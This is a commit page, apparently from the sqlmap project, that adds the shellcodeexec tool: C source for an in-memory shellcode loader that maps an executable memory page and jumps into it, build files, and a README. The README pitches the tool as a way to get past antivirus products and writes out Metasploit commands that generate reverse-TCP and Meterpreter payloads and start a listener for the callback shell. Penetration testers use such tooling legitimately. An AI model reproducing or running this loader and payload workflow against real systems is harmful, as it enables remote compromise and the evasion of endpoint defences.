Skip to content

Commit e35f25b

Browse files
committed
Major recode of --os-pwn functionality. Now the Metasploit shellcode can not be run as a Metasploit generated payload stager anymore. Instead it can be run on the target system either via sys_bineval() (as it was before, anti-forensics mode, all the same) or via shellcodeexec executable. Advantages are that:
* It is stealthier as the shellcode itself does not touch the filesystem, it's an argument passed to shellcodeexec at runtime. * shellcodeexec is not (yet) recognized as malicious by any (Avast excluded) AV product. * shellcodeexec binary size is significantly smaller than a Metasploit payload stager (even when packed with UPX). * UPX now is not needed anymore, so sqlmap package is also way smaller and less likely to be detected itself as malicious by your AV software. shellcodeexec source code, compilation files and binaries are in extra/shellcodeexec/ folder now - copied over from https://github.com/inquisb/shellcodeexec. Minor code refactoring.
1 parent d0a534d commit e35f25b

File tree

24 files changed

+718
-1422
lines changed

24 files changed

+718
-1422
lines changed

extra/shellcodeexec/README

Lines changed: 126 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,126 @@
1+
= Short description =
2+
3+
shellcodeexec is a small script to execute in memory a sequence of opcodes.
4+
5+
6+
= Background =
7+
8+
Most of the shellcode launchers out there, including proof of concepts
9+
part of many "security" books, detail how to allocate a memory page as
10+
readable/writable/executable on POSIX systems, copy over your shellcode
11+
and execute it. This works just fine. However, it is limited to POSIX,
12+
does not necessarily consider 64-bit architecture and Windows systems.
13+
14+
15+
= Description =
16+
17+
This script and the relevant project files (Makefile and Visual Studio
18+
files) allow you to compile the tool once then run your shellcode across
19+
different architectures and operating systems.
20+
21+
Moreover, it solves a common real world issue: the target system's anti
22+
virus software blocking a Metasploit-generated payload stager (either EXE
23+
of ELF). Take for instance the following command line:
24+
25+
$ msfpayload windows/meterpreter/reverse_tcp EXITFUNC=process LPORT=4444 LHOST=192.168.136.1 R | msfencode -a x86 -e x86/shikata_ga_nai -o /tmp/payload.exe -t exe
26+
27+
This generates a Metasploit payload stager, payload.exe, that as soon as
28+
it lands on the AV-protected target system is recognized as malicious and
29+
potentially blocked (depending on the on-access scan settings) by many
30+
anti virus products. At the time of writing this text, 21 out 41 anti
31+
viruses detect it as malicious - http://goo.gl/HTw7o. By encoding it
32+
multiple times with msfencode, less AV softwares detect it, still a lot.
33+
34+
I have been surfing the Net and found some interesting tutorials and
35+
guides about packing, compressing, obfuscating and applying IDA-foo to
36+
portable executables et similar in order to narrow down the number of AV
37+
products that can detect it as a malicious file. This is all interesting,
38+
but does not stop few hard-to-die anti viruses to detect your backdoor.
39+
40+
So the question is, how cool would it be to have a final solution to avoid
41+
all this hassle? This is exactly where this tool comes into play!
42+
43+
44+
= Features =
45+
46+
shellcodeexec:
47+
48+
* Can be compiled and works on POSIX (Linux/Unices) and Windows systems.
49+
50+
* Can be compiled and works on 32-bit and 64-bit architectures.
51+
52+
* As far as I know, no AV detect it as malicious.
53+
54+
* Works in DEP/NX-enabled environments: it allocates the memory page where
55+
it stores the shellcode as +rwx - Readable Writable and eXecutable.
56+
57+
* It supports alphanumeric encoded payloads: you can pipe your binary-encoded
58+
shellcode (generated for instance with Metasploit's msfpayload) to
59+
Metasploit's msfencode to encode it with the alpha_mixed encoder. Set the
60+
BufferRegister variable to EAX registry where the address in memory of
61+
the shellcode will be stored, to avoid get_pc() binary stub to be
62+
prepended to the shellcode.
63+
64+
* Spawns a new thread where the shellcode is executed in a structure
65+
exception handler (SEH) so that if you wrap shellcodeexec into your own
66+
executable, it avoids the whole process to crash in case of unexpected
67+
behaviours.
68+
69+
70+
= HowTo =
71+
72+
1. Generate a Metasploit shellcode and encode it with the alphanumeric
73+
encoder. For example for a Linux target:
74+
75+
$ msfpayload linux/x86/shell_reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.136.1 R | msfencode -a x86 -e x86/alpha_mixed -t raw BufferRegister=EAX
76+
77+
Or for a Windows target:
78+
79+
$ msfpayload windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.136.1 R | msfencode -a x86 -e x86/alpha_mixed -t raw BufferRegister=EAX
80+
81+
82+
2. Execute the Metasploit multi/handler listener on your machine. For
83+
example for a Linux target:
84+
85+
$ msfcli multi/handler PAYLOAD=linux/x86/shell_reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.136.1 E
86+
87+
Or for a Windows target:
88+
89+
$ msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.136.1 E
90+
91+
92+
3. Execute the alphanumeric-encoded shellcode with this tool. For example
93+
on the Linux target:
94+
95+
$ ./shellcodeexec <msfencode's alphanumeric-encoded payload>
96+
97+
Or, on the Windows target:
98+
99+
C:\WINDOWS\Temp>shellcodeexec.exe <msfencode's alphanumeric-encoded payload>
100+
101+
102+
= License =
103+
104+
This source code is free software; you can redistribute it and/or
105+
modify it under the terms of the GNU Lesser General Public
106+
License as published by the Free Software Foundation; either
107+
version 2.1 of the License, or (at your option) any later version.
108+
109+
This library is distributed in the hope that it will be useful,
110+
but WITHOUT ANY WARRANTY; without even the implied warranty of
111+
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
112+
Lesser General Public License for more details.
113+
114+
You should have received a copy of the GNU Lesser General Public
115+
License along with this library; if not, write to the Free Software
116+
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
117+
118+
119+
= Author =
120+
121+
Bernardo Damele A. G. <bernardo.damele@gmail.com>
122+
123+
124+
= Homepage =
125+
126+
https://github.com/inquisb/shellcodeexec

extra/shellcodeexec/linux/Makefile

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
32:
2+
gcc -Wall -Os shellcodeexec.c -o shellcodeexec
3+
strip -sx shellcodeexec
4+
5+
64:
6+
gcc -Wall -Os shellcodeexec.c -fPIC -o shellcodeexec
7+
strip -sx shellcodeexec
Lines changed: 138 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,138 @@
1+
/*
2+
shellcodeexec - Script to execute in memory a sequence of opcodes
3+
Copyright (C) 2011 Bernardo Damele A. G.
4+
web: http://bernardodamele.blogspot.com
5+
email: bernardo.damele@gmail.com
6+
7+
This source code is free software; you can redistribute it and/or
8+
modify it under the terms of the GNU Lesser General Public
9+
License as published by the Free Software Foundation; either
10+
version 2.1 of the License, or (at your option) any later version.
11+
12+
This library is distributed in the hope that it will be useful,
13+
but WITHOUT ANY WARRANTY; without even the implied warranty of
14+
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
15+
Lesser General Public License for more details.
16+
17+
You should have received a copy of the GNU Lesser General Public
18+
License along with this library; if not, write to the Free Software
19+
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
20+
*/
21+
22+
#include <sys/types.h>
23+
#include <stdio.h>
24+
#include <string.h>
25+
#include <stdlib.h>
26+
#include <time.h>
27+
#include <ctype.h>
28+
29+
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
30+
#include <windows.h>
31+
DWORD WINAPI exec_payload(LPVOID lpParameter);
32+
#else
33+
#include <sys/mman.h>
34+
#include <sys/wait.h>
35+
#include <unistd.h>
36+
#endif
37+
38+
int sys_bineval(char *argv);
39+
40+
int main(int argc, char *argv[])
41+
{
42+
if (argc < 2) {
43+
printf("Run:\n\tshellcodeexec <alphanumeric-encoded shellcode>\n");
44+
exit(-1);
45+
}
46+
47+
sys_bineval(argv[1]);
48+
49+
exit(0);
50+
}
51+
52+
int sys_bineval(char *argv)
53+
{
54+
size_t len;
55+
56+
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
57+
int pID;
58+
char *code;
59+
#else
60+
int *addr;
61+
size_t page_size;
62+
pid_t pID;
63+
#endif
64+
65+
len = (size_t)strlen(argv);
66+
67+
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
68+
// allocate a +rwx memory page
69+
code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
70+
71+
// copy over the shellcode
72+
strncpy(code, argv, len);
73+
74+
// execute it by ASM code defined in exec_payload function
75+
WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
76+
#else
77+
pID = fork();
78+
if(pID<0)
79+
return 1;
80+
81+
if(pID==0)
82+
{
83+
page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size
84+
page_size = (len+page_size) & ~(page_size); // align to page boundary
85+
86+
// mmap an +rwx memory page
87+
addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANON, 0, 0);
88+
89+
if (addr == MAP_FAILED)
90+
return 1;
91+
92+
// copy over the shellcode
93+
strncpy((char *)addr, argv, len);
94+
95+
// execute it
96+
((void (*)(void))addr)();
97+
}
98+
99+
if(pID>0)
100+
waitpid(pID, 0, WNOHANG);
101+
#endif
102+
103+
return 0;
104+
}
105+
106+
#if defined(_WIN64)
107+
void __exec_payload(LPVOID);
108+
109+
DWORD WINAPI exec_payload(LPVOID lpParameter)
110+
{
111+
__try
112+
{
113+
__exec_payload(lpParameter);
114+
}
115+
__except(EXCEPTION_EXECUTE_HANDLER)
116+
{
117+
}
118+
119+
return 0;
120+
}
121+
#elif defined(_WIN32) || defined(__WIN32__) || defined(WIN32)
122+
DWORD WINAPI exec_payload(LPVOID lpParameter)
123+
{
124+
__try
125+
{
126+
__asm
127+
{
128+
mov eax, [lpParameter]
129+
call eax
130+
}
131+
}
132+
__except(EXCEPTION_EXECUTE_HANDLER)
133+
{
134+
}
135+
136+
return 0;
137+
}
138+
#endif
3.43 KB
Binary file not shown.
5.04 KB
Binary file not shown.

extra/shellcodeexec/windows/README

Lines changed: 25 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,25 @@
1+
Before compiling, an enviroment variable has to be set.
2+
3+
--------------------------------------------------------------------------
4+
Variable name Variable description
5+
--------------------------------------------------------------------------
6+
PLATFORM_SDK_DIR Directory where the Platform SDK is installed
7+
8+
9+
Procedure for setting environment variables on Windows:
10+
My Computer -> Properties -> Advanced -> Environment Variables
11+
User variables -> New
12+
13+
14+
Sample value:
15+
--------------------------------------------------------------------------
16+
Variable name Variable value
17+
--------------------------------------------------------------------------
18+
PLATFORM_SDK_DIR C:\Program Files\Microsoft Platform SDK for Windows Server 2003 R2
19+
20+
21+
Notes:
22+
23+
To get as small portable executable as possible compile as follows:
24+
* Use Visual C++ 2005
25+
* Strip the executable with UPX
Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,20 @@
1+
2+
Microsoft Visual Studio Solution File, Format Version 9.00
3+
# Visual C++ Express 2005
4+
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "shellcodeexec", "shellcodeexec\shellcodeexec.vcproj", "{4D362A3E-CA53-444C-B1C8-C49641823875}"
5+
EndProject
6+
Global
7+
GlobalSection(SolutionConfigurationPlatforms) = preSolution
8+
Debug|Win32 = Debug|Win32
9+
Release|Win32 = Release|Win32
10+
EndGlobalSection
11+
GlobalSection(ProjectConfigurationPlatforms) = postSolution
12+
{4D362A3E-CA53-444C-B1C8-C49641823875}.Debug|Win32.ActiveCfg = Debug|Win32
13+
{4D362A3E-CA53-444C-B1C8-C49641823875}.Debug|Win32.Build.0 = Debug|Win32
14+
{4D362A3E-CA53-444C-B1C8-C49641823875}.Release|Win32.ActiveCfg = Release|Win32
15+
{4D362A3E-CA53-444C-B1C8-C49641823875}.Release|Win32.Build.0 = Release|Win32
16+
EndGlobalSection
17+
GlobalSection(SolutionProperties) = preSolution
18+
HideSolutionNode = FALSE
19+
EndGlobalSection
20+
EndGlobal
5.5 KB
Binary file not shown.

0 commit comments

Comments
 (0)